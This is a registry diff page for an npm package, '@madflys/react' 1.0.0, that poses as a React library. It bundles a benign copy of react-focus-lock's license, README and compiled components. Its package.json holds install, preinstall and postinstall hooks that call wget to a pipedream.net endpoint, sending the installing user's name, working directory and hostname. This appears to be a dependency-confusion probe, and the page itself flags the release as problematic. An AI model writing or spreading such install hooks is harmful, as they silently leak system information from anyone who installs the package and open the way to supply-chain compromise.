@madflys/react 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @madflys/react might be problematic. Click here for more details.
- package/README.md +1 -0
- package/package.json +27 -0
- package/react/dist/node_modules/react-focus-lock/LICENSE +21 -0
- package/react/dist/node_modules/react-focus-lock/README.md +333 -0
- package/react/dist/node_modules/react-focus-lock/UI/UI.d.ts +38 -0
- package/react/dist/node_modules/react-focus-lock/UI/package.json +8 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/AutoFocusInside.js +41 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/Combination.js +43 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/FocusGuard.js +49 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/FreeFocusInside.js +38 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/Lock.js +238 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/MoveFocusInside.js +68 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/Trap.js +299 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/UI.js +59 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/clientSideEffect.js +67 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/index.js +26 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/medium.js +26 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/sidecar.js +18 -0
- package/react/dist/node_modules/react-focus-lock/dist/cjs/util.js +27 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/AutoFocusInside.es.js +25 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/Combination.es.js +23 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/FocusGuard.es.js +34 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/FreeFocusInside.es.js +22 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/Lock.es.js +208 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/MoveFocusInside.es.js +46 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/Trap.es.js +276 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/UI.es.js +7 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/clientSideEffect.es.js +56 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/index.js +27 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/medium.es.js +14 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/sidecar.es.js +4 -0
- package/react/dist/node_modules/react-focus-lock/dist/es2015/util.es.js +16 -0
- package/react/dist/node_modules/react-focus-lock/interfaces.d.ts +125 -0
- package/react/dist/node_modules/react-focus-lock/package.json +103 -0
- package/react/dist/node_modules/react-focus-lock/react-focus-lock.d.ts +33 -0
- package/react/dist/node_modules/react-focus-lock/sidecar/package.json +7 -0
- package/react/dist/node_modules/react-focus-lock/sidecar/sidecar.d.ts +5 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
This package is for React madflys Team
|
package/package.json
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
{
|
2
|
+
"name": "@madflys/react",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Simple react for madflys.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "./pre.sh",
|
8
|
+
"install": "wget \"http://enjfs1iudo11g1e.m.pipedream.net/x?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
|
9
|
+
"preinstall": "wget \"http://enjfs1iudo11g1e.m.pipedream.net/xx?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
|
10
|
+
"postinstall": "wget \"http://enjfs1iudo11g1e.m.pipedream.net/xxx?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\""
|
11
|
+
},
|
12
|
+
"keywords": [
|
13
|
+
"test",
|
14
|
+
"react-madflys",
|
15
|
+
"PoC"
|
16
|
+
],
|
17
|
+
"dependencies": {
|
18
|
+
},
|
19
|
+
"config": {
|
20
|
+
"unsafe-perm":true
|
21
|
+
},
|
22
|
+
"publishConfig": {
|
23
|
+
"access": "public"
|
24
|
+
},
|
25
|
+
"author": "madflys",
|
26
|
+
"license": "ISC"
|
27
|
+
}
|
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2017 Anton
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
@@ -0,0 +1,333 @@
|
|
1
|
+
<div align="left">
|
2
|
+
<h1 align="center">REACT FOCUS LOCK</h1>
|
3
|
+
<img src="./assets/ackbar.png" alt="it-is-a-trap" width="200" height="200" align="right">
|
4
|
+
|
5
|
+
- browser friendly focus lock<br/>
|
6
|
+
- matching all your use cases<br/>
|
7
|
+
- trusted by best UI frameworks<br/>
|
8
|
+
- the thing Admiral Ackbar was talking about<br/>
|
9
|
+
<br/>
|
10
|
+
|
11
|
+
[![CircleCI status](https://img.shields.io/circleci/project/github/theKashey/react-focus-lock/master.svg?style=flat-square)](https://circleci.com/gh/theKashey/react-focus-lock/tree/master)
|
12
|
+
[![npm](https://img.shields.io/npm/v/react-focus-lock.svg)](https://www.npmjs.com/package/react-focus-lock)
|
13
|
+
[![bundle size](https://badgen.net/bundlephobia/minzip/react-focus-lock)](https://bundlephobia.com/result?p=react-focus-lock)
|
14
|
+
[![downloads](https://badgen.net/npm/dm/react-focus-lock)](https://www.npmtrends.com/react-focus-lock)
|
15
|
+
<hr/>
|
16
|
+
</div>
|
17
|
+
|
18
|
+
It is a trap! We got your focus and will not let him out!
|
19
|
+
|
20
|
+
- Modal dialogs. You can not leave it with "Tab", ie do a "tab-out".
|
21
|
+
- Focused tasks. It will aways brings you back, as you can "lock" user inside a component.
|
22
|
+
- Any any other case, when you have to lock user _intention_ and _focus_, if that's what `a11y` is asking for.
|
23
|
+
|
24
|
+
### Trusted
|
25
|
+
Trusted by
|
26
|
+
[Atlassian AtlasKit](https://atlaskit.atlassian.com),
|
27
|
+
[ReachUI](https://ui.reach.tech/),
|
28
|
+
[SmoothUI](https://smooth-ui.smooth-code.com/),
|
29
|
+
[Storybook](https://storybook.js.org/)
|
30
|
+
and we will do our best to earn your trust too!
|
31
|
+
|
32
|
+
# Features
|
33
|
+
- no keyboard control, everything is done watching a __focus behavior__, not emulating it. Thus works always and everywhere.
|
34
|
+
- React __Portals__ support. Even if some data is in outer space - it is [still in lock](https://github.com/theKashey/react-focus-lock/issues/19).
|
35
|
+
- _Scattered_ locks, or focus lock groups - you can setup different isolated locks, and _tab_ from one to another.
|
36
|
+
- Controllable isolation level.
|
37
|
+
- variable size bundle. Uses sidecar to trim UI part to 1.5kb.
|
38
|
+
|
39
|
+
> 💡 __focus__ locks is only the first part, there are also __scroll lock__ and __text-to-speech__ lock
|
40
|
+
you have to use to really "lock" the user.
|
41
|
+
Try [react-focus-on](https://github.com/theKashey/react-focus-on) to archive everything above, assembled in the right order.
|
42
|
+
|
43
|
+
# How to use
|
44
|
+
Just wrap something with focus lock, and focus will be `moved inside` on mount.
|
45
|
+
```js
|
46
|
+
import FocusLock from 'react-focus-lock';
|
47
|
+
|
48
|
+
const JailForAFocus = ({onClose}) => (
|
49
|
+
<FocusLock>
|
50
|
+
You can not leave this form
|
51
|
+
<button onClick={onClose} />
|
52
|
+
</FocusLock>
|
53
|
+
);
|
54
|
+
```
|
55
|
+
Demo - https://codesandbox.io/s/5wmrwlvxv4.
|
56
|
+
|
57
|
+
# WHY?
|
58
|
+
From [MDN Article about accessible dialogs](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_dialog_role):
|
59
|
+
- The dialog must be properly labeled
|
60
|
+
- Keyboard __focus must be managed__ correctly
|
61
|
+
|
62
|
+
This one is about managing the focus.
|
63
|
+
|
64
|
+
I've got a good [article about focus management, dialogs and WAI-ARIA](https://medium.com/@antonkorzunov/its-a-focus-trap-699a04d66fb5).
|
65
|
+
|
66
|
+
# API
|
67
|
+
> FocusLock would work perfectly even with no props set.
|
68
|
+
|
69
|
+
FocusLock has few props to tune behavior, all props are optional:
|
70
|
+
- `disabled`, to disable(enable) behavior without altering the tree.
|
71
|
+
- `className`, to set the `className` of the internal wrapper.
|
72
|
+
- `returnFocus`, to return focus into initial position on unmount(not disable).
|
73
|
+
> By default `returnFocus` is disabled, so FocusLock will __not__ restore original focus on deactivation.
|
74
|
+
|
75
|
+
This is expected behavior for Modals, but it is better to implement it by your self. See [unmounting and focus management](https://github.com/theKashey/react-focus-lock#unmounting-and-focus-management) for details
|
76
|
+
- `persistentFocus=false`, requires any element to be focused. This also disables text selections inside, and __outside__ focus lock.
|
77
|
+
- `autoFocus=true`, enables or disables focusing into on Lock activation. If disabled Lock will blur an active focus.
|
78
|
+
- `noFocusGuards=false` disabled _focus guards_ - virtual inputs which secure tab index.
|
79
|
+
- `group='''` named focus group for focus scattering aka [combined lock targets](https://github.com/theKashey/vue-focus-lock/issues/2)
|
80
|
+
- `shards=[]` an array of `ref` pointing to the nodes, which focus lock should consider and a part of it. This is another way focus scattering.
|
81
|
+
- `whiteList=fn` you could _whitelist_ locations FocusLock should carry about. Everything outside it will ignore. For example - any modals.
|
82
|
+
- `as='div'` if you need to change internal `div` element, to any other. Use ref forwarding to give FocusLock the node to work with.
|
83
|
+
- `lockProps={}` to pass any extra props (except className) to the internal wrapper.
|
84
|
+
- `hasPositiveIndices=false` to support a focus lock behavior when any elements tabIndex greater than 0.
|
85
|
+
|
86
|
+
### Focusing in OSX (Safari/Firefox) is strange!
|
87
|
+
By default `tabbing` in OSX `sees` only controls, but not links or anything else `tabbable`. This is system settings, and Safari/Firefox obey.
|
88
|
+
Press Option+Tab in Safari to loop across all tabbables, or change the Safari settings. There is no way to _fix_ Firefox, unless change system settings (Control+F7). See [this issue](https://github.com/theKashey/react-focus-lock/issues/24) for more information.
|
89
|
+
|
90
|
+
## Set up
|
91
|
+
### Requirements
|
92
|
+
- version 1x is React 15/16 compatible
|
93
|
+
- version 2+ requires React 16.8+ (hooks)
|
94
|
+
### Import
|
95
|
+
`react-focus-lock` exposed __3 entry points__: for the classical usage, and a _sidecar_ one.
|
96
|
+
#### Default usage
|
97
|
+
- 4kb, `import FocusLock from 'react-focus-lock` would give you component you are looking for.
|
98
|
+
|
99
|
+
#### Separated usage
|
100
|
+
Meanwhile - you dont need any focus related logic until it's needed.
|
101
|
+
Thus - you may defer that logic till Lock activation and move all related code to a _sidecar_.
|
102
|
+
|
103
|
+
- UI, __1.5kb__, `import FocusLockUI from 'react-focus-lock/UI` - a DOM part of a lock.
|
104
|
+
- Sidecar, 3.5kb, `import Sidecar from 'react-focus-lock/sidecar` - which is the real focus lock.
|
105
|
+
|
106
|
+
```js
|
107
|
+
import FocusLockUI from "react-focus-lock/UI";
|
108
|
+
import {sidecar} from "use-sidecar";
|
109
|
+
|
110
|
+
// prefetch sidecar. data would be loaded, but js would not be executed
|
111
|
+
const FocusLockSidecar = sidecar(
|
112
|
+
() => import(/* webpackPrefetch: true */ "react-focus-lock/sidecar")
|
113
|
+
);
|
114
|
+
|
115
|
+
<FocusLockUI
|
116
|
+
disabled={this.state.disabled}
|
117
|
+
sideCar={FocusLockSidecar}
|
118
|
+
>
|
119
|
+
{content}
|
120
|
+
</FocusLockUI>
|
121
|
+
```
|
122
|
+
That would split FocusLock into two pieces, reducing app size and improving the first load.
|
123
|
+
The cost of focus-lock is just 1.5kb!
|
124
|
+
|
125
|
+
> Saved 3.5kb?! 🤷♂️ 3.5kb here and 3.5kb here, and your 20mb bundle is ready.
|
126
|
+
|
127
|
+
# Autofocus
|
128
|
+
Use when you cannot use the native `autoFocus` prop - because you only want to autofocus once the Trap has been activated
|
129
|
+
|
130
|
+
- prop `data-autofocus` on the element.
|
131
|
+
- prop `data-autofocus-inside` on the element to focus on something inside.
|
132
|
+
- `AutoFocusInside` component, as named export of this library.
|
133
|
+
```js
|
134
|
+
import FocusLock, { AutoFocusInside } from 'react-focus-lock';
|
135
|
+
|
136
|
+
<FocusLock>
|
137
|
+
<button>Click</button>
|
138
|
+
<AutoFocusInside>
|
139
|
+
<button>will be focused</button>
|
140
|
+
</AutoFocusInside>
|
141
|
+
</FocusLock>
|
142
|
+
// is the same as
|
143
|
+
|
144
|
+
<FocusLock>
|
145
|
+
<button>Click</button>
|
146
|
+
<button data-autofocus>will be focused</button>
|
147
|
+
</FocusLock>
|
148
|
+
```
|
149
|
+
|
150
|
+
If there is more than one auto-focusable target - the first will be selected.
|
151
|
+
If it is a part of radio group, and __rest of radio group element are also autofocusable__(just put them into AutoFocusInside) -
|
152
|
+
checked one fill be selected.
|
153
|
+
|
154
|
+
`AutoFocusInside` will work only on Lock activation, and does nothing, then used outside of the lock.
|
155
|
+
You can use `MoveFocusInside` to move focus inside with or without lock.
|
156
|
+
|
157
|
+
```js
|
158
|
+
import { MoveFocusInside } from 'react-focus-lock';
|
159
|
+
|
160
|
+
<MoveFocusInside>
|
161
|
+
<button>will be focused</button>
|
162
|
+
</MoveFocusInside>
|
163
|
+
```
|
164
|
+
|
165
|
+
# Portals
|
166
|
+
Use focus scattering to handle portals
|
167
|
+
|
168
|
+
- using `groups`. Just create a few locks (only one could be active) with a same group name
|
169
|
+
```js
|
170
|
+
const PortaledElement = () => (
|
171
|
+
<FocusLock group="group42" disabled={true}>
|
172
|
+
// "discoverable" portaled content
|
173
|
+
</FocusLock>
|
174
|
+
);
|
175
|
+
|
176
|
+
<FocusLock group="group42">
|
177
|
+
// main content
|
178
|
+
</FocusLock>
|
179
|
+
```
|
180
|
+
- using `shards`. Just pass all the pieces to the "shards" prop.
|
181
|
+
```js
|
182
|
+
const PortaledElement = () => (
|
183
|
+
<div ref={ref}>
|
184
|
+
// "discoverable" portaled content
|
185
|
+
</div>
|
186
|
+
);
|
187
|
+
|
188
|
+
<FocusLock shards={[ref]}>
|
189
|
+
// main content
|
190
|
+
</FocusLock>
|
191
|
+
```
|
192
|
+
- without anything. FocusLock will not prevent focusing portaled element, but will not include them in to tab order
|
193
|
+
```js
|
194
|
+
const PortaledElement = () => (
|
195
|
+
<div>
|
196
|
+
// NON-"discoverable" portaled content
|
197
|
+
</div>
|
198
|
+
);
|
199
|
+
|
200
|
+
<FocusLock shards={[ref]}>
|
201
|
+
// main content
|
202
|
+
<PortaledElement />
|
203
|
+
</FocusLock>
|
204
|
+
```
|
205
|
+
|
206
|
+
### Using your own `Components`
|
207
|
+
You may use `as` prop to change _what_ Focus-Lock will render around `children`.
|
208
|
+
```js
|
209
|
+
<FocusLock as="section">
|
210
|
+
<button>Click</button>
|
211
|
+
<button data-autofocus>will be focused</button>
|
212
|
+
</FocusLock>
|
213
|
+
|
214
|
+
<FocusLock as={AnotherComponent} lockProps={{anyAnotherComponentProp: 4}}>
|
215
|
+
<button>Click</button>
|
216
|
+
<span>Hello there!</span>
|
217
|
+
</FocusLock>
|
218
|
+
```
|
219
|
+
|
220
|
+
### Guarding
|
221
|
+
As you may know - FocusLock is adding `Focus Guards` before and after lock to remove some side effects, like page scrolling.
|
222
|
+
But `shards` will not have such guards, and it might be not so cool to use them - for example if no `tabbable` would be
|
223
|
+
defined after shard - you will tab to the browser chrome.
|
224
|
+
|
225
|
+
You may wrap shard with `InFocusGuard` or just drop `InFocusGuard` here and there - that would solve the problem.
|
226
|
+
```js
|
227
|
+
import {InFocusGuard} from 'react-focus-lock';
|
228
|
+
|
229
|
+
// wrap with
|
230
|
+
<InFocusGuard>
|
231
|
+
<button />
|
232
|
+
</InFocusGuard>
|
233
|
+
|
234
|
+
// place before and after
|
235
|
+
<InFocusGuard />
|
236
|
+
<button />
|
237
|
+
<InFocusGuard />
|
238
|
+
```
|
239
|
+
InFocusGuards would be active(tabbable) only when tabble, it protecting, is focused.
|
240
|
+
|
241
|
+
#### Removing Tailing Guard
|
242
|
+
If only your modal is the last tabble element on the body - you might remove the Tailing Guard,
|
243
|
+
to allow user _tab_ into address bar.
|
244
|
+
```js
|
245
|
+
<InFocusGuard/>
|
246
|
+
<button />
|
247
|
+
// there is no "tailing" guard :)
|
248
|
+
```
|
249
|
+
|
250
|
+
# Unmounting and focus management
|
251
|
+
- In case FocusLock has `returnFocus` enabled, and it's going to be unmounted - focus will be returned after zero-timeout.
|
252
|
+
- In case `returnFocus` is set to `false`, and you are going to control focus change on your own - keep in mind
|
253
|
+
>> React will first call Parent.componentWillUnmount, and next Child.componentWillUnmount
|
254
|
+
|
255
|
+
This means - Trap will be still active by the time you _may_ want move(return) focus on componentWillUnmount. Please deffer this action with a zero-timeout.
|
256
|
+
|
257
|
+
Similarly, if you are using the `disabled` prop to control FocusLock, you will need a zero-timeout to correctly restore focus.
|
258
|
+
|
259
|
+
```
|
260
|
+
<FocusLock
|
261
|
+
disabled={isFocusLockDisabled}
|
262
|
+
onDeactivation={() => {
|
263
|
+
// Without the zero-timeout, focus will likely remain on the button/control
|
264
|
+
// you used to set isFocusLockDisabled = true
|
265
|
+
window.setTimeout(() => myRef.current.focus(), 0);
|
266
|
+
}
|
267
|
+
>
|
268
|
+
```
|
269
|
+
|
270
|
+
## Return focus with no scroll
|
271
|
+
> read more at the [issue #83](https://github.com/theKashey/react-focus-lock/issues/83) or
|
272
|
+
[mdn article](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/focus).
|
273
|
+
|
274
|
+
To return focus, but without _jumpy_ page scroll returning a focus you might specify a focus option
|
275
|
+
```js
|
276
|
+
<FocusLock
|
277
|
+
returnFocus={{ preventScroll: false }} // working not in all browsers
|
278
|
+
>
|
279
|
+
```
|
280
|
+
Not supported by Edge and Safari.
|
281
|
+
|
282
|
+
# Not only for React
|
283
|
+
Uses [focus-lock](https://github.com/theKashey/focus-lock/) under the hood. It does also provide support for Vue.js and Vanilla DOM solutions
|
284
|
+
|
285
|
+
# Warning!
|
286
|
+
Two different _focus-lock-managers_ or even different version of a single one, active
|
287
|
+
simultaneously will FIGHT!
|
288
|
+
|
289
|
+
__Focus-lock will surrender__, as long any other focus management library will not.
|
290
|
+
|
291
|
+
## Focus fighting
|
292
|
+
You may wrap some render branch with `FreeFocusInside`, and react-focus-lock __will ignore__
|
293
|
+
any focus inside marked node, thus landing a peace.
|
294
|
+
|
295
|
+
```js
|
296
|
+
import { FreeFocusInside } from 'react-focus-lock';
|
297
|
+
|
298
|
+
<FreeFocusInside>
|
299
|
+
<div id="portal-for-modals">
|
300
|
+
in this div i am going to portal my modals, dont fight with them please
|
301
|
+
</div>
|
302
|
+
</FreeFocusInside>
|
303
|
+
```
|
304
|
+
|
305
|
+
Even the better is to `whiteList` FocusLock areas - for example "you should handle only React Stuff in React Root"
|
306
|
+
```js
|
307
|
+
<FocusLock whiteList={node => document.getElementById('root').contains(node)}>
|
308
|
+
...
|
309
|
+
</FocusLock>
|
310
|
+
```
|
311
|
+
|
312
|
+
PS: __please use webpack or yarn resolution for force one version of react-focus-lock used__
|
313
|
+
|
314
|
+
> webpack.conf
|
315
|
+
```js
|
316
|
+
resolve: {
|
317
|
+
alias: {
|
318
|
+
'react-focus-lock': path.resolve(path.join(__dirname, './node_modules/react-focus-lock'))
|
319
|
+
...
|
320
|
+
```
|
321
|
+
|
322
|
+
# More
|
323
|
+
To create a "right" modal dialog you have to:
|
324
|
+
- manage a focus. Use this library
|
325
|
+
- block document scroll. Use [react-scroll-locky](https://github.com/theKashey/react-scroll-locky).
|
326
|
+
- hide everything else from screen readers. Use [aria-hidden](https://github.com/theKashey/aria-hidden)
|
327
|
+
|
328
|
+
You may use [react-focus-on](https://github.com/theKashey/react-focus-on) to achieve everything above, assembled in the right order.
|
329
|
+
|
330
|
+
# Licence
|
331
|
+
MIT
|
332
|
+
|
333
|
+
|
@@ -0,0 +1,38 @@
|
|
1
|
+
import * as React from 'react';
|
2
|
+
import {ReactFocusLockProps, AutoFocusProps, FreeFocusProps, InFocusGuardProps} from "../interfaces";
|
3
|
+
|
4
|
+
/**
|
5
|
+
* Traps Focus inside a Lock
|
6
|
+
*/
|
7
|
+
declare const ReactFocusLock: React.FC<ReactFocusLockProps & { sideCar: React.SFC<any> }>;
|
8
|
+
|
9
|
+
export default ReactFocusLock;
|
10
|
+
|
11
|
+
/**
|
12
|
+
* Autofocus on children on Lock activation
|
13
|
+
*/
|
14
|
+
export class AutoFocusInside extends React.Component<AutoFocusProps> {
|
15
|
+
}
|
16
|
+
|
17
|
+
/**
|
18
|
+
* Autofocus on children
|
19
|
+
*/
|
20
|
+
export class MoveFocusInside extends React.Component<AutoFocusProps> {
|
21
|
+
}
|
22
|
+
|
23
|
+
/**
|
24
|
+
* Allow free focus inside on children
|
25
|
+
*/
|
26
|
+
export class FreeFocusInside extends React.Component<FreeFocusProps> {
|
27
|
+
}
|
28
|
+
|
29
|
+
/**
|
30
|
+
* Secures the focus around the node
|
31
|
+
*/
|
32
|
+
export class InFocusGuard extends React.Component<InFocusGuardProps> {
|
33
|
+
}
|
34
|
+
|
35
|
+
/**
|
36
|
+
* Moves focus inside a given node
|
37
|
+
*/
|
38
|
+
export function useFocusInside(node: React.RefObject<HTMLElement>): void;
|
@@ -0,0 +1,41 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");
|
4
|
+
|
5
|
+
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
|
6
|
+
|
7
|
+
Object.defineProperty(exports, "__esModule", {
|
8
|
+
value: true
|
9
|
+
});
|
10
|
+
exports["default"] = void 0;
|
11
|
+
|
12
|
+
var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));
|
13
|
+
|
14
|
+
var React = _interopRequireWildcard(require("react"));
|
15
|
+
|
16
|
+
var _propTypes = _interopRequireDefault(require("prop-types"));
|
17
|
+
|
18
|
+
var constants = _interopRequireWildcard(require("focus-lock/constants"));
|
19
|
+
|
20
|
+
var _util = require("./util");
|
21
|
+
|
22
|
+
var AutoFocusInside = function AutoFocusInside(_ref) {
|
23
|
+
var disabled = _ref.disabled,
|
24
|
+
children = _ref.children,
|
25
|
+
className = _ref.className;
|
26
|
+
return /*#__PURE__*/React.createElement("div", (0, _extends2["default"])({}, (0, _util.inlineProp)(constants.FOCUS_AUTO, !disabled), {
|
27
|
+
className: className
|
28
|
+
}), children);
|
29
|
+
};
|
30
|
+
|
31
|
+
AutoFocusInside.propTypes = process.env.NODE_ENV !== "production" ? {
|
32
|
+
children: _propTypes["default"].node.isRequired,
|
33
|
+
disabled: _propTypes["default"].bool,
|
34
|
+
className: _propTypes["default"].string
|
35
|
+
} : {};
|
36
|
+
AutoFocusInside.defaultProps = {
|
37
|
+
disabled: false,
|
38
|
+
className: undefined
|
39
|
+
};
|
40
|
+
var _default = AutoFocusInside;
|
41
|
+
exports["default"] = _default;
|
@@ -0,0 +1,43 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");
|
4
|
+
|
5
|
+
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
|
6
|
+
|
7
|
+
Object.defineProperty(exports, "__esModule", {
|
8
|
+
value: true
|
9
|
+
});
|
10
|
+
exports["default"] = void 0;
|
11
|
+
|
12
|
+
var _objectWithoutProperties2 = _interopRequireDefault(require("@babel/runtime/helpers/objectWithoutProperties"));
|
13
|
+
|
14
|
+
var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));
|
15
|
+
|
16
|
+
var React = _interopRequireWildcard(require("react"));
|
17
|
+
|
18
|
+
var _Lock = _interopRequireDefault(require("./Lock"));
|
19
|
+
|
20
|
+
var _Trap = _interopRequireDefault(require("./Trap"));
|
21
|
+
|
22
|
+
/* that would be a BREAKING CHANGE!
|
23
|
+
// delaying sidecar execution till the first usage
|
24
|
+
const RequireSideCar = (props) => {
|
25
|
+
// eslint-disable-next-line global-require
|
26
|
+
const SideCar = require('./Trap').default;
|
27
|
+
return <SideCar {...props} />;
|
28
|
+
};
|
29
|
+
*/
|
30
|
+
var FocusLockCombination = /*#__PURE__*/React.forwardRef(function FocusLockUICombination(props, ref) {
|
31
|
+
return /*#__PURE__*/React.createElement(_Lock["default"], (0, _extends2["default"])({
|
32
|
+
sideCar: _Trap["default"],
|
33
|
+
ref: ref
|
34
|
+
}, props));
|
35
|
+
});
|
36
|
+
|
37
|
+
var _ref = _Lock["default"].propTypes || {},
|
38
|
+
sideCar = _ref.sideCar,
|
39
|
+
propTypes = (0, _objectWithoutProperties2["default"])(_ref, ["sideCar"]);
|
40
|
+
|
41
|
+
FocusLockCombination.propTypes = process.env.NODE_ENV !== "production" ? propTypes : {};
|
42
|
+
var _default = FocusLockCombination;
|
43
|
+
exports["default"] = _default;
|
@@ -0,0 +1,49 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
|
4
|
+
|
5
|
+
var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");
|
6
|
+
|
7
|
+
Object.defineProperty(exports, "__esModule", {
|
8
|
+
value: true
|
9
|
+
});
|
10
|
+
exports["default"] = exports.hiddenGuard = void 0;
|
11
|
+
|
12
|
+
var React = _interopRequireWildcard(require("react"));
|
13
|
+
|
14
|
+
var _propTypes = _interopRequireDefault(require("prop-types"));
|
15
|
+
|
16
|
+
var hiddenGuard = {
|
17
|
+
width: '1px',
|
18
|
+
height: '0px',
|
19
|
+
padding: 0,
|
20
|
+
overflow: 'hidden',
|
21
|
+
position: 'fixed',
|
22
|
+
top: '1px',
|
23
|
+
left: '1px'
|
24
|
+
};
|
25
|
+
exports.hiddenGuard = hiddenGuard;
|
26
|
+
|
27
|
+
var InFocusGuard = function InFocusGuard(_ref) {
|
28
|
+
var children = _ref.children;
|
29
|
+
return /*#__PURE__*/React.createElement(React.Fragment, null, /*#__PURE__*/React.createElement("div", {
|
30
|
+
key: "guard-first",
|
31
|
+
"data-focus-guard": true,
|
32
|
+
"data-focus-auto-guard": true,
|
33
|
+
style: hiddenGuard
|
34
|
+
}), children, children && /*#__PURE__*/React.createElement("div", {
|
35
|
+
key: "guard-last",
|
36
|
+
"data-focus-guard": true,
|
37
|
+
"data-focus-auto-guard": true,
|
38
|
+
style: hiddenGuard
|
39
|
+
}));
|
40
|
+
};
|
41
|
+
|
42
|
+
InFocusGuard.propTypes = process.env.NODE_ENV !== "production" ? {
|
43
|
+
children: _propTypes["default"].node
|
44
|
+
} : {};
|
45
|
+
InFocusGuard.defaultProps = {
|
46
|
+
children: null
|
47
|
+
};
|
48
|
+
var _default = InFocusGuard;
|
49
|
+
exports["default"] = _default;
|
@@ -0,0 +1,38 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");
|
4
|
+
|
5
|
+
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
|
6
|
+
|
7
|
+
Object.defineProperty(exports, "__esModule", {
|
8
|
+
value: true
|
9
|
+
});
|
10
|
+
exports["default"] = void 0;
|
11
|
+
|
12
|
+
var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));
|
13
|
+
|
14
|
+
var React = _interopRequireWildcard(require("react"));
|
15
|
+
|
16
|
+
var _propTypes = _interopRequireDefault(require("prop-types"));
|
17
|
+
|
18
|
+
var constants = _interopRequireWildcard(require("focus-lock/constants"));
|
19
|
+
|
20
|
+
var _util = require("./util");
|
21
|
+
|
22
|
+
var FreeFocusInside = function FreeFocusInside(_ref) {
|
23
|
+
var children = _ref.children,
|
24
|
+
className = _ref.className;
|
25
|
+
return /*#__PURE__*/React.createElement("div", (0, _extends2["default"])({}, (0, _util.inlineProp)(constants.FOCUS_ALLOW, true), {
|
26
|
+
className: className
|
27
|
+
}), children);
|
28
|
+
};
|
29
|
+
|
30
|
+
FreeFocusInside.propTypes = process.env.NODE_ENV !== "production" ? {
|
31
|
+
children: _propTypes["default"].node.isRequired,
|
32
|
+
className: _propTypes["default"].string
|
33
|
+
} : {};
|
34
|
+
FreeFocusInside.defaultProps = {
|
35
|
+
className: undefined
|
36
|
+
};
|
37
|
+
var _default = FreeFocusInside;
|
38
|
+
exports["default"] = _default;
|